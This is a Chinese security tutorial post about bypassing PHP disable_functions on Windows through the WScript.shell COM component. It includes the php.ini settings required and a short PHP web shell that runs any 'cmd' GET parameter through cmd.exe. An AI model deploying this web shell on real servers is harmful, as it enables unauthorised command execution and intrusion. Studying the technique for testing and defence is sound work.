com 组件调用不起来_COM组件绕过disable_functions

6577193491d32d0ac0ab464c1e61b62a.png

介绍

com组件绕过适用于windows系统,组件可理解为提供某个功能的程序,主要是php代码调用windows下的WScript.shell组件来操作的。

wscript.shell

WScript.shell组件可用来操作cmd程序,可调用cmd程序来执行相关命令。在php中我们可以新建组件去调用wscript.shell,然后来操作cmd,从而来执行相关命令。

条件

php默认是不能调用外部组件的,这个需要手动开启,如果目标机开启了相关配置,这种绕过方法才能利用。首先在php.ini中添加扩展:

extension=php_com_dotnet.dll

然后将com.allow_dcom = true前面的分号去掉,取消注释:

com.allow_dcom = true

重启apache即可。

测试

测试代码如下:

<?php     header("Content-Type: text/html; charset=gb2312");    $cmd=$_GET['cmd'];    $com = new COM('WScript.shell');       $exec = $com->exec('cmd.exe /c '.$cmd);     $stdout = $exec->StdOut();    $stroutput = $stdout->ReadAll();    echo "
"
; echo $stroutput; echo " ?>

9e60e152ea9b46181881119682f0b08b.png

总结

当程序开发过程中,如果需要用到一些系统上的功能,需要和系统交互,那么就有可能是开启组件支持的,这时如果有disable_functions限制,则可以尝试使用com组件绕过。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值